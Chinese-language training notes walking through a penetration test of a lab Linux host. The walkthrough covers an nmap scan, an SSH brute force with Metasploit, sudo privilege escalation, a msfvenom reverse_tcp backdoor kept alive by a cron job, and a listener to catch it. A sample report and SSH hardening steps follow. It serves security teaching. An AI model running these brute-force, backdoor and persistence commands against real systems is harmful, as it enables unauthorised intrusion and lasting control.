目标:系统渗透测试流程实战

复习:
Linux命令
  1. ifconfig 查看IP地址相关参数
  2. nmtui 字符图形界面修改IP地址相关参数
  3. hostname 查看或修改主机名
  4. ls 查看目录列表
  5. cd 切换当前目录
  6. pwd 查看当前位置
  7. mkdir 创建目录 //-p 如果上级目录不存在,自动创建
  8. rm 删除文件或目录 //-r 删除目录
  9. touch 更新文件的时间,如果文件不存在就创建空文件
  10. vim 编辑文件 //i o 进入输入模式,:wq 保存推出,:q! 不保存退出,:w 保存,:set nu 显示行号,/str 查找
  11. cat 查看文件内容,一次全部显示到屏幕
  12. less 浏览文件内容,分屏显示,可以前后翻页
  13. cp 复制文件或目录, //-r 复制目录
  14. mv 移动或改名文件或目录
  15. useradd 创建用户
  16. userdel 删除用户 //-r 删除主目录
  17. passwd 修改密码
  18. su 切换当前用户 //- 同时切换到主目录
  19. id 查看用户的属性
  20. groupadd 创建组
  21. groupdel 删除组
  22. gpasswd 修改组成员 //-a 添加用户 ,-d 删除用户
  23. chmod 修改文件或目录的权限
    例如: chmod ugoa+-=rwx , chmod 777
  24. chown 修改归属 //u1:g1 u1属主,:g1 属组
  25. sudo 使普通用户以管理员身份执行命令
  26. mount 挂在移动设备 //mount /dev/cdrom /mnt ,把光盘挂载到/mnt目录下
  27. umount 卸载移动设备
  28. df -h 查看磁盘的使用情况,设备挂载到哪个目录
  29. reboot 重启 //init 6
  30. poweroff 关机 //init 0
  31. yum 管理Linux软件包管理 // install 安装,remove 卸载,reinstall 重新安装,list 查看已安装或可安装的软件包,yum info 查看软件包信息
  32. systemctl 管理服务 //start 启动,stop 停止,restart 重启,enable 开机自启,disable 禁用开机自启
  33. which 查找可执行的命令
  34. find 查找指定文件 //-name 文件名,-type 文件类型,-size 文件大小,mtime 文件日期
  35. top 查看进程及CPU/内存资源占用
  36. pstree 查看进程树 //-p 显示进程ID
  37. pkill 根据进程名杀死进程
  38. kill 根据进程ID杀死进程
  39. grep 查找文件中指导字符串的行
  40. wc 统计行、单词、字符
  41. echo 回显指定字符串到屏幕










系统渗透
  1. 系统渗透的前提:系统存在漏洞
  2. Windows、Linux
信息收集:IP地址、开放的端口、系统/应用漏洞
  1. 20 21 FTP服务器
  2. 22 SSH Linux/网络设备
  3. 23 TELNET 网络设备
  4. 25/110 邮箱服务器 //25发送,110客户端接收
  5. 53 DNS服务器
  6. 80/443 网站服务器 //8080、81、8081
  7. 1433 微软SQL数据库
  8. 3306 MySQL数据库
  9. 3389 Windows远程桌面
系统漏洞
常见的Windows高危漏洞
CVE-2012-0002(MS12-020)RDP远程命令执行漏洞,利用Windows系统的远程桌面协议(RDP)存在缓存溢出漏洞,攻击者可通过向目标操作系统发送特定内容的RDP包造成操作系统蓝屏 CVE-2015-1635(MS15-034)IIS远程命令执行漏洞,攻击者只要发送恶意http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃 CVE-2017-0143(MS17-010)SMB远程命令执行漏洞,漏洞通过 TCP 的445139端口,利用SMB远程代码执行漏洞,攻击者可以在目标系统上执行任意代码 CVE-2019-0708 RDP远程命令执行漏洞,利用Windows系统远程桌面漏洞,攻击者可以在目标系统完成安装应用程序,查看、更改或删除数据,创建完全访问权限的新账户等操作 ……
Linux系统漏洞
SSH密码爆破
防范:
安全基线:账户锁定策略、密码策略、安全选项等等
最小化攻击面:关闭不必要服务(端口)、卸载不必要程序、通过防火墙仅放行必要的端口
安装补丁:

项目背景

小驴网络科技有限公司最近发现主机容易被入侵,甚至会被植入木马程序
主机使用的系统版本是Linux
雇佣乙方:天启安全公司
来做系统的渗透测试以及安全加固

零、前期交互

可渗透的资产范围:192.168.10.*
可渗透的程度:可以植入木马程序,可以进行普通文件的删除测试,可以进行提权操作
不可以删根:rm -rf /* ,不可以删除日志
合同的金额及支付的方式:100万 343支付方式:前期入场支付30% 做完加固支付40%,尾款1月后支付30%

一、信息收集与暴力破解

0、信息收集

1)收集10网段开放的主机信息
┌──(root㉿kali)-[~]
└─# nmap -sS 192.168.10.0/24

结果:
192.168.10.1
192.168.10.2
192.168.10.143(目标靶机)
192.168.10.224(kali主机)
192.168.10.254

分析:
以上的主机中,192.168.10.143这台主机就是我们进行渗透测试的目标

2)确定目标主机的操作系统类型
┌──(root㉿kali)-[~]
└─# nmap -sS -O 192.168.10.143

结果:
Running: Linux 2.6.X

分析:可能操作系统是Linux 2.6.x版本

如果是windows操作系统,系统的漏洞相对较多,使用openvas或者其他漏扫软件进行扫描
如果Linux操作系统,来自系统的漏洞相对较少,更多关注的是服务和软件上的漏洞

3)确定目标主机的开放端口以及端口对应的服务和版本
┌──(root㉿kali)-[~]
└─# nmap -sV 192.168.10.143

结果:
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)

分析:
21端口对应的ftp使用的软件vsftpd 2.3.4,可能存在“笑脸漏洞”
22端口对应的ssh服务是开放的,可能存在暴力破解的风险
...
80端口对应httpd服务,对外提供网站浏览的功能,暴露出来的网页有用户名和密码输入页面,
可能会存在暴力破解或者弱口令漏洞,web网页可能存在owasp top 10 漏洞

还可以使用openvas进行漏洞扫描

1、SSH暴力破解

1)创建字典(cupp是一款社工密码生成工具)
┌──(root㉿kali)-[~]
└─#  cupp 
Command 'cupp' not found, but can be installed with:
apt install cupp
Do you want to install it? (N/y) y

┌──(root㉿kali)-[~]
└─#  cupp -i

> First Name: msf
> Surname: admin

其他的选项全部按回车略过(生成比较小的密码本,在进行暴力破解时速度较快)
实际应用中可以全部补全
使用cupp生成的社工密码本:

社工密码生成器safe6pwd.jar
使用方式:
1.将此文件拖入到kali中
2.(在桌面打开kali终端)kali终端输入:java -jar safe6pwd.jar
3.输入相关社工信息


2)暴力破解
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 >  search ssh_login 

msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) >  set rhosts  192.168.10.143 
msf6 auxiliary(scanner/ssh/ssh_login) >  set username  msfadmin 
msf6 auxiliary(scanner/ssh/ssh_login) >  set pass_file  safe6pass.txt   //将用户密码本选择为自己设置的那个
msf6 auxiliary(scanner/ssh/ssh_login) >  run 

结果:msfadmin:msfadmin
ssh被暴力破解成功

二、漏洞利用

权限提升,获取root用户权限,修改root密码
┌──(root㉿kali)-[~]
└─# ssh msfadmin@192.168.10.143

msfadmin@metasploitable:~$ sudo -i
root@metasploitable:~# passwd root
root@metasploitable:~# exit
msfadmin@metasploitable:~$ exit

分析:
以普通用户身份登录进去,sudo -i直接提权成功
没有对普通用户做sudo授权的限制,导致很容易提权成功
使用root远程登录直接就登录成功,代表ssh配置文件中缺少对root用户的远程登录限制

 :出现ssh连接报错的解决方案 
 
┌──(root㉿kali)-[~]
└─$ mkdir .ssh

┌──(root㉿kali)-[~]
└─$ vim .ssh/config                          //创建ssh配置文件,防止ssh连接报错
Host *
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa 


侵入成功后,为了持久远程控制对方,即便是对方已经进行安全加固
kali中制作一个能够运行在Linux环境下的木马后门

1、创建后门程序
 msfvenom -p linux/x86/meterpreter/reverse_tcp lhost= 192.168.10.224  lport= 4444  -f elf -o muma    


2、植入后门程序(持久性控制
┌──(root㉿kali)-[~]
└─#  scp  muma   root @192.168.10.143:/mnt               //上传到靶机/mnt下 

3、激活后门程序

┌──(root㉿kali)-[~]
└─#   ssh  root@192.168.10.143                         //远程连接目标主机 

root@metasploitable:~#  ls -l /mnt/muma              //查看shell是否可以执行 
-rw-r--r-- 1 root root 207 2023-01-03 03:54 /mnt/shell

root@metasploitable:~#  chmod  a+x  /mnt/muma        //设置全部用户执行权限 

root@metasploitable:~#  ls  -l  /mnt/muma  
-rwxr-xr-x 1 root root 207 2023-01-03 03:54 /mnt/shell

4、制定计划任务,定期运行木马

root@metasploitable:~#  EDITOR=vim crontab -e       //调用vim编辑
  * * * * * /mnt/muma &                          //每分钟执行/mnt/muma后门程序

5、攻击机连接后门

┌──(root㉿kali)-[~]
└─#  msfconsole 
msf6 >  use  exploit/multi/handler                               //调用侦听模块 
msf6 exploit(multi/handler) >  set lhost 192.168.10.224          //设置响应的IP地址 
msf6 exploit(multi/handler) >  set lport  4444                   //设置响应的端口号 
msf6 exploit(multi/handler) >  set payload linux/x86/meterpreter/reverse_tcp    //调用基于TCP的反弹载荷 
msf6 exploit(multi/handler) >  run 
 meterpreter >                                                 //进入meterpreter说明连接成功

三、渗透测试报告


渗透测试报告(简版): 

 一、报告概要 

报告名称: 小驴网络科技有限公司系统渗透测试报告
测试日期: 2023-xx-xx 至 2023-xx-xx
报告日期: 2023-xx-xx
报告版本: V1.0

 二、报告目的与范围 

报告目的: 评估系统安全性,识别潜在的安全漏洞和风险,为公司提供改进安全措施的建议
测试范围: 192.168.10.*

 三、测试方法与工具 

测试方法: 黑盒测试
测试工具: Nmap,Metasploit,Hydra,Openvas,safe6pass.jar,Msfvenom

 四、渗透测试过程 

信息收集阶段:
通过网络扫描确认了192.168.10.0网段存活的主机
通过网络扫描确认了192.168.10.143开放的端口以及端口对应的服务信息以及服务的版本
通过网络扫描和目标主机信息搜集,我们发现目标Linux主机的IP地址为192.168.10.143
确认了目标主机22端口对应ssh服务是开启的
确认了目标主机的ftp服务时开启并且vsftpd 版本是2.3.4版本
....

漏洞扫描阶段:
我们针对目标主机进行漏洞扫描,发现该主机存在SSH暴力破解漏洞
测试vsftpd 2.3.4是否存在"笑脸漏洞"
.....

漏洞利用阶段:
利用暴力破解工具MSF平台中的ssh_login暴力破解程序,针对目标主机的SSH服务进行暴力破解,
成功获取了SSH登录凭证
用户名:msfadmin
密码:msfadmin

ssh msfadmin@192.168.10.143 进行远程连接并进行普通用户操作

利用MSF中的vsftpd漏洞利用程序发起的攻击,能够直接以root身份连接到目标主机

权限升级阶段:
通过SSH登录目标主机,尝试提升权限以获取更高级别的访问权限,sudo -i直接提权成功
在此阶段,我们尝试利用已知的Linux权限提升漏洞或配置错误,最终成功获取了root权限

后渗透阶段:
在获得root权限后,我们可以访问目标主机的敏感数据,如用户信息、配置文件等
上传后门/木马程序,达到长期操控的目的
这可能导致数据泄露和其他安全问题

 五、发现的安全漏洞与风险 

漏洞汇总:

SSH暴力破解漏洞
风险评估:
漏洞严重程度:高
可能造成的损失:数据泄露、未授权访问、系统被入侵

vsftpd笑脸漏洞:
漏洞严重程度:高
可能造成的损失:数据泄露、未授权访问、系统被入侵
....


 六、建议与改进措施 

针对SSH暴力破解漏洞:

使用强大且复杂的密码,定期更换密码
限制SSH登录尝试次数和频率
使用非标准端口号以降低被扫描的概率
启用SSH密钥对认证,禁用基于密码的认证
配置防火墙,限制可访问SSH服务的IP地址范围

具体操作:
root@metasploitable:~# vim /etc/ssh/sshd_config         //SSH服务配置文件
 5  Port 12345                           //修改端口为12345,黑客想不到的
 25 LoginGraceTime 1m                    //修改登录验证总耗时,1分钟
 26 PermitRootLogin no                   //修改不允许root远程登录
 28 MaxAuthTries 2                       //新增一行,最大试错次数,2次
 29 AllowUsers msfadmin@192.168.10.1     //新增一行,仅允许指定用户在指定IP上登录
root@metasploitable:~# /etc/init.d/ssh  restart         //重启SSH服务

vsftpd笑脸漏洞整改建议:
建议升级vsftpd软件,不要再使用2.3.4版本

针对整个系统提供的建议性安全措施:

对操作系统和软件进行定期更新,修补已知漏洞
实施日志审计,监控系统异常活动
对重要数据进行加密存储和备份
为员工提供安全培训,提高安全意识

 七、结论 

本次渗透测试发现了目标Linux主机存在SSH暴力破解漏洞,通过漏洞利用,
我们成功获取了SSH登录凭证并进一步提升了权限。这表明目标主机的安全存在较大风险,
可能导致数据泄露、未授权访问和系统被入侵等问题。

为了确保系统安全,我们建议公司采纳本报告中提供的改进措施和建议,
尤其是针对SSH暴力破解漏洞的解决方案。此外,公司应定期进行安全审计和渗透测试,
以便时刻关注系统安全状况,发现并解决潜在安全问题。

 八、附录 

附录A: 渗透测试详细过程记录
在此部分,您可以详细记录渗透测试的每个阶段的具体操作和结果,以便在需要时进行查阅。

附录B: 渗透测试相关截图
可以附加一些与渗透测试相关的截图,如暴力破解工具的使用过程、SSH登录成功的界面等。

附录C: 参考资料和链接
在此部分,您可以提供一些与渗透测试相关的参考资料和链接,例如渗透测试工具的官方文档、漏洞数据库网站等。

四、安全加固

1)SSH安全配置
root@metasploitable:~#  vim /etc/ssh/sshd_config       //SSH服务配置文件
 5   Port 12345                                       //修改端口为12345,黑客想不到的
 25  LoginGraceTime 1m                                //修改登录验证总耗时,1分钟
 26  PermitRootLogin no                               //修改不允许root远程登录
 28  MaxAuthTries 2                                   //新增一行,最大试错次数,2次
 29  AllowUsers  msfadmin@192.168.10.1                  //新增一行,仅允许指定用户在指定IP上登录
 root@metasploitable:~#  /etc/init.d/ssh  restart       //重启SSH服务
2)SSH应用密钥远程访问
在客户端moba终端上生成密钥对
 /home/mobaxterm    rm -rf .ssh/             //清除现有密钥对,防干扰 
 /home/mobaxterm    ssh-keygen               //生成新的密钥对 
将公钥传输到目标主机
/home/mobaxterm   ssh-copy-id  root@192.168.10.143        //传到root主目录,将会以 root 身份远程访问 
以密钥方式访问目标主机

五、验证

再次进行ssh暴力破解,验证加固效果